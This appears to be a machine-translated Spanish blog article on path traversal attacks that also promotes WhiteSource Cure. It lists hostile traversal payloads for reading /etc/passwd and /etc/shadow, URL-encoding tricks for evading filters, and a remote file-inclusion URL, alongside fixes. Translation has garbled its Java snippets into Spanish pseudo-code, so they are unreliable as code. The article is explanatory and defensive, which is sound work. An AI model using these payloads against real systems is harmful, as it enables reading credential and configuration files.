Un ataque de recorrido de ruta (también conocido como recorrido de directorio) tiene como objetivo obtener acceso a archivos y directorios fuera de la raíz web. Esta vulnerabilidad podría permitir que el programa divulgue información confidencial si un atacante tuviera control sobre las rutas de los archivos.
Este ataque también se llama punto-punto-barra, recorrido de directorio, escalada de directorio y retroceso. Algunos ejemplos de estos archivos son los archivos de contraseña y los archivos de configuración del servidor. Al permitir que el atacante especifique archivos fuera del directorio raíz de la aplicación en los directorios de archivos del sistema, el atacante permite al atacante aprender más sobre el sistema y comprometerlo aún más.
Índice de contenido
Así que evita
- Examine el tráfico de la red en busca de operaciones y parámetros de archivos. Leer y escribir son dos habilidades importantes. Preste atención a los parámetros con extensiones de archivo inusuales.
- Intente utilizar otras secuencias exitosas como… .// o…. /.
- Si el método de validación de entrada requiere una URL conocida, agregue su cadena transversal a la URL conocida, p. Ej. B. /var/www/assets/../../etc/passwd.
- Pruebe si puede direccionar archivos conocidos con el comando ../, según el sistema operativo subyacente (Linux, Windows). Por ejemplo, pruebe en sistemas Linux para ../../../etc/passwd. Esto le ayudará a averiguar si se están utilizando rutinas de validación de entrada.
- Utilice técnicas de codificación para evitar los métodos de validación de entrada.
Cómo funciona
Supongamos que tiene un sitio web: http://www.sample.com y el servidor web que está utilizando hace que sea muy fácil agregar páginas a su sitio; simplemente agréguelas al directorio raíz / var / www en el sistema de archivos del servidor. y el resto está resuelto.
Si agrega /var/www/products/table.html, cualquier visitante de http://sample.com/products/table.html puede acceder a esta página. Desafortunadamente, este servidor web es muy antiguo y se puede pasar por alto. Esto permite que un atacante inicie la cadena de directorios y acceda a archivos fuera de / var / www utilizando ciertas cadenas como ../, que apuntan a su directorio principal en directorios Unix.
El servidor web agrega la ruta relativa especificada por el usuario ../../ configuration.yml al directorio y contiene la página web / var / www / para la ruta completa /var/www/../../configuration.yml si recibe esta solicitud. En sistemas similares a Unix, cada ../ apunta al directorio de la izquierda. Entonces, si reducimos la ruta a su forma simplificada, la ruta final es /private/configuration.yml.
Y ahora un pirata informático acaba de obtener información confidencial, posiblemente incluso las credenciales de su base de datos, y puede usar esa información para robar información del usuario o causar más daños.
La misma situación puede ocurrir incluso si su servidor web está actualizado y no es vulnerable a ataques. Introduce una vulnerabilidad de ruta en la propia aplicación. Digamos que su aplicación es un poco más bonita que las páginas estáticas, y cada página tiene un enlace de descarga de PDF para obtener más información. Con la misma ../technique, un atacante puede salir del directorio con los archivos PDF y acceder a lo que quiera.
Ejemplo de código vulnerable
Escenario 1: archivos de acceso
Los siguientes ejemplos muestran cómo el programa maneja los recursos disponibles.
http://example.com/get-file.jsp?file=report.pdf
http://example.com/get-page.php?home=aaa.html
http://example.com/some-page.asp?page=index.html
En estos casos, es posible utilizar una cadena maliciosa como parámetro variable para acceder a archivos que no se encuentran en el directorio de publicación web.
http://example.com/get-file?file=../../../../some dir / some file
http://example.com/../../../../ un directorio / algún archivo
Se pueden encontrar ejemplos de la explotación de archivos de contraseñas * NIX en las siguientes URL.
http://example.com/../../../../etc/shadow
http://example.com/get-file?file=/etc/passwd
Tenga en cuenta que un atacante solo puede acceder a una partición que contenga webroot en una computadora con Windows. Sin embargo, en un sistema Linux, pueden acceder a todo el disco.
Escenario 2: ejecución de un script de terceros
También es posible agregar archivos y scripts desde un sitio web de terceros.
http://example.com/get-page?page=http://other-site.com.br/other-page.htm/malicius-code.php
Escenario 3: compartir código fuente
Estos ejemplos muestran un escenario en el que un atacante obligó al servidor a ver el código fuente CGI.
http://vulnerable-page.org/cgi-bin/main.cgi?file=main.cgi
Escenario 4: recorrido de ruta absoluto
Este exploit puede ser vulnerable a las siguientes URL:
http://example.com/get.php?f=list
http://example.com/get.cgi?f=2
http://example.com/get.asp?f=test
Este ataque se puede llevar a cabo de la siguiente manera:
http://example.com/get.php?f=/var/www/html/get.php
http://example.com/get.cgi?f=/var/www/html/admin/get.inc
http://example.com/get.asp?f=/etc/passwd
Es mucho más fácil para un atacante predecir las ubicaciones de almacenamiento correctas si un servidor web proporciona información sobre errores en una aplicación web, por ejemplo, mostrando la ruta al archivo con un código fuente.
Renovación y curado WhiteSource
¿Cómo se asegura de que su código no sea vulnerable?
- Asegúrese de comprender cómo el sistema operativo subyacente maneja los nombres de archivo que se le pasan.
- No almacene archivos de configuración sensibles en el directorio raíz de la red.
- Con los servidores IIS de Windows, la raíz web no debe estar en la unidad del sistema para evitar la navegación recursiva a los directorios del sistema.
Muchas empresas están tratando de dejar a los desarrolladores la responsabilidad de la seguridad de las aplicaciones. Esto reduce la cantidad de vulnerabilidades que es posible que deban abordarse inmediatamente antes o después de que se implemente una aplicación en un entorno de TI local.
WhiteSource Cure es una herramienta de corrección automática gratuita especialmente diseñada para código personalizado. Con esta herramienta de próxima generación, las organizaciones pueden aumentar la velocidad con la que se implementa el software seguro a gran escala. Descubrí WS Cure a través de algunas búsquedas en Google para encontrar formas más fáciles de solucionarlo y descubrí que es gratis para los desarrolladores.
Algo que me gusta de Cure es que después de escanear su código, proporciona un informe de corrección ejecutable generado automáticamente. En este caso, incluye todas las vulnerabilidades de recorrido de ruta descubiertas en su código. Luego genera sugerencias para reparar vulnerabilidades en su código que se corrigen inmediatamente como si las hubiera escrito usted. Las recomendaciones son específicas para cada caso, concisas y fáciles de usar, lo que le ahorra tiempo y promueve un código seguro.
Resolución de cruces de caminos con WhiteSource Cure
WhiteSource Cure identifica las entradas apropiadas proporcionadas por el usuario que deben limpiarse utilizando información de código estático del archivo reconocido.
Cruce de caminos
Código de vulnerabilidad 1:
Contiene(«../resources/skins/../../../etc/passwd«);
https://www.example.com/show_file.php?file = report.txt
Remedio:
Si necesita utilizar la entrada del usuario para generar nombres de archivo o rutas, asegúrese de que estén correctamente desinfectados mediante la lista blanca de nombres y / o caracteres permitidos. No se recomienda incluir caracteres en la lista negra para filtrar ../ y cadenas similares, ya que existen varios métodos que se pueden utilizar para solucionar este problema.
También existen varios métodos para codificar la cadena transversal de ruta para evitar el filtrado de caracteres básico, como: B. escribiendo ../ en la codificación URL como% 2e% 2e% 2f. Algunos otros ejemplos son
- % 2e% 2e% 2f significa ../
- % 2e% 2e / representa ../
- ..% 2f significa ../
- % 2e% 2e% 5c significa ..
Código de vulnerabilidad 2:
respuesta pública getImage(@ javax.ws.rs.PathParam («imagen») Imagen de cadena) {
expediente Archivo = nuevo expediente(«Recursos / Imágenes /«, Imagen);
Código fijo:
respuesta pública getImage(@ javax.ws.rs.PathParam («imagen») Imagen de cadena) {
expediente Archivo = nuevo expediente(«Recursos / Imágenes /«, FilenameUtils.getName (imagen));
Para reducir el riesgo de que los datos sin limpiar se pasen directamente a la API del archivo
Código de vulnerabilidad 3:
expediente Archivo = nuevo expediente(BASE_DIRECTORY, entrada del usuario);
// procesar el archivo
Código fijo:
expediente Archivo = nuevo expediente(BASE_DIRECTORY, entrada del usuario);
si (file.getCanonicalPath (). startsWith (BASE_DIRECTORY)) {
// procesar el archivo
}
Verifique la ruta canónica de un archivo según la entrada del usuario. Si las rutas canónica y absoluta coinciden, el código debería continuar.
En un ataque de ruta transversal, el atacante puede acceder a todos los archivos y directorios almacenados en el sistema de archivos, incluido el código fuente o la configuración de la aplicación, manipulando las variables relacionadas con el archivo con secuencias y variantes o utilizando rutas de archivo absolutas. Recuerde que los controles de acceso del sistema operativo restringen el acceso a los archivos (por ejemplo, si los archivos están bloqueados o no se utilizan en el sistema operativo Microsoft Windows).
Por lo tanto, es muy importante corregir estas vulnerabilidades. Además, siempre es una buena idea utilizar herramientas como Cure para hacer que el proceso sea más fluido, menos propenso a errores y completo.